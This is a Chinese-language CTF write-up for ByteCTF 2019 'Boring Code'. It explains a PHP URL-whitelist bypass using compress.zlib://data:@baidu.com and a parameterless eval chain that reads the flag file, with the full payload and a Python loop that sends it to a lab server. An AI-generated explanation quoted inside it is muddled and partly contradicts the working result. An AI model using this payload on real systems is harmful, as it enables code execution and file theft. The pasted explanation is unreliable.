ByteCTF 2019 Boring Code

这题考了无参数rce 伪协议读取

image-20250528211913760

flag就在主目录下

/code里的源码

image-20250528212001684

解释

过滤了data://

有个parse_url($url)函数

检测url的host部分 是不是baidu.com

然后下面是无参

最终执行eval($code)

这里通过compress.zlib://伪协议进行文件读取

可以分解为:

  • compress.zlib:// → 这是 PHP 的流封装器,用于处理 zlib 压缩 的数据流(.gz 格式)。
  • data: → 这是 data URI scheme,可以内嵌数据而非从文件或网络读取,常用于嵌入 base64 数据。

你可以把它理解为:

“把 base64 编码的内联数据当成 gzip 文件读取”

但是这里我们不需要base64编码

怎么使host=baidu.com

1
url=compress.zlib://data:@baidu.com/plain,...

这里通过compress.zlib://伪协议 …会被当做php代码执行

parse_url($url)解析

parse_url() 是 PHP 的一个内置函数,它把 URL 字符串解析成数组,包括这些部分:

  • scheme(协议)
  • host(主机)
  • path(路径)
  • query(查询参数)
  • 等等

举个例子:

1
parse_url("http://admin:pass@baidu.com/index.php?id=1");

会得到:

1
2
3
4
5
6
7
8
[
"scheme" => "http",
"host" => "baidu.com",
"user" => "admin",
"pass" => "pass",
"path" => "/index.php",
"query" => "id=1"
]

那么

1
parse_url("compress.zlib://data:@baidu.com/plain,...");

就会被解析为

[

1
2
3
4
5
  'scheme' => 'compress.zlib',
'host' => 'baidu.com',
'user' => 'data',
'path' => '/plain,echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));'
]

从而绕过preg_match(‘/baidu.com$/‘, $r[‘host’])

file_get_contents($url) 会干嘛?

file_get_contents() 会尝试打开:

1
compress.zlib://data:@baidu.com/plain,echo(readfile(...));

本质上是这样理解的:

你让 PHP 打开一个以 zlib 格式压缩的文件流,它的位置是这个“伪造的路径”:

1
data:@baidu.com/plain,echo(readfile(...));

但是!这个路径并不是真的访问网络地址或文件系统,而是一个伪造的字符串路径

所以本质上是:

“打开名为 data:@baidu.com/plain,echo(readfile(...)); 的文件,并用 zlib 解压。”


❗ 重点:你传的其实不是有效的压缩数据!

所以当 PHP 去读这个“伪资源”时,会失败 —— 除非:

  • 这个路径是你控制的真实压缩数据文件路径,或
  • 你控制了服务器端怎样处理 compress.zlib://(例如绕过检查等)

🚨 所以最终会解析成:

1
$code = file_get_contents("compress.zlib://data:@baidu.com/plain,echo(readfile(...));");

并尝试把读取的内容 zlib 解压。除非:

  • 你有写入 /plain,... 这个路径的权限并能生成有效 zlib 压缩流
  • 或者服务器的 file_get_contents() 实际没有执行真正的解压

否则 PHP 会报错,比如:

1
Warning: file_get_contents(): zlib: data error

✅ 但是你为什么还可以利用它?

你的目标可能并不是让 PHP 真正“读取一个有效的 zlib 文件”,而是:

  1. 伪造一个合法的 URL(通过 filter_var()
  2. 绕过 preg_match('/data:\/\//') 检查(因为你用的是 compress.zlib://data:
  3. 利用 @baidu.comparse_url() 得到 host = baidu.com,绕过 host 白名单
  4. 利用某种漏洞(比如没有真正执行解压)来执行 eval 的 payload 内容

✅ 总结:这个 payload 会被解析成

部分 解析结果
scheme compress.zlib
user data
host baidu.com
path /plain,echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
file_get_contents 尝试打开此路径并解压:"compress.zlib://data:@baidu.com/plain,echo(...));"
eval($code) 如果这个内容被成功读取,且通过函数嵌套校验和黑名单校验,则会被执行。

上面是ai解释的

总之就是eval会成功执行$code=echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));吧

compress.zlib://…会被file_get_contents() 用来“取回要 eval 的内容”。这个内容必须是合法的 PHP 表达式(满足嵌套函数+不过黑名单)。

即$code是 file_get_contents($url) 的返回内容 = 你嵌入的 echo(...) 代码

下面是一个无参rce绕过 执行eval($code)

这里主要是获得主目录的文件

paylaod:

url=compress.zlib://data:@baidu.com/plain,echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

无参rce解析

localeconv()查看当前目录文件名

pos 取数组的第一项 即 .

scandir()——列出指定路径中的文件和目录(php5,7,8)

next将数组中的内部指针向前移动(其实就是到了数组里的下一个键和值) 这里是 ..

chdir()切换当前工作目录 这里切换到 .. 即上级目录

然后接着是通过读取时间戳 来获取 上级目录的 . 并通过scandir进行遍历

1
chr(pos(localtime(time())))
  • time(): 获取当前时间戳(如 1717047000

  • localtime(): 解析为时间数组 → [秒, 分, 时, ...]

  • pos(): 取第一个元素(秒数,范围 0-59)

  • chr()
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40

    : 将秒数转为ASCII字符

    - 若秒数=47 → ASCII 47 = **`/`**(根目录符号)
    - 若秒数=46 → ASCII 46 = **`.`**(当前目录符号)

    通过这里就已经遍历了主目录各个文件

    flag文件在最后一个元素

    通过end读取 end()取数组最后一个元素 因为这里的flag在最后一个文件里 ctf题目的设计原因

    最后使用readgzfile进行文件读取

    因为要通过时间戳读取 当秒数为46 -> . 的时候才能够读取到flag

    所以读取的时候可以使用 bp进行爆破 多线程发包

    py脚本

    ```py
    import requests
    import datetime
    import time

    url = "http://node4.anna.nssctf.cn:28969/code/"
    data = {
    "url": "compress.zlib://data:@baidu.com/plain,echo(readgzfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));"
    }

    while True:
    time.sleep(1)
    print("成功发出请求,时间:", datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f'))
    r = requests.post(url, data=data)
    print("收到响应,时间:", datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f'))
    print(f"响应耗时: {r.elapsed.total_seconds()} 秒")
    if "flag" in r.text:
    print("响应内容:")
    print(r.text)
    break

image-20250528215530727

可以看到收到响应的时间为 46秒时 可以得到flag

bp爆破 多线程发包读取

image-20250528220105750

borin_code+

多过滤了readfile time等 去看https://www.cnblogs.com/BOHB-yunying/p/11616311.html师傅的总结吧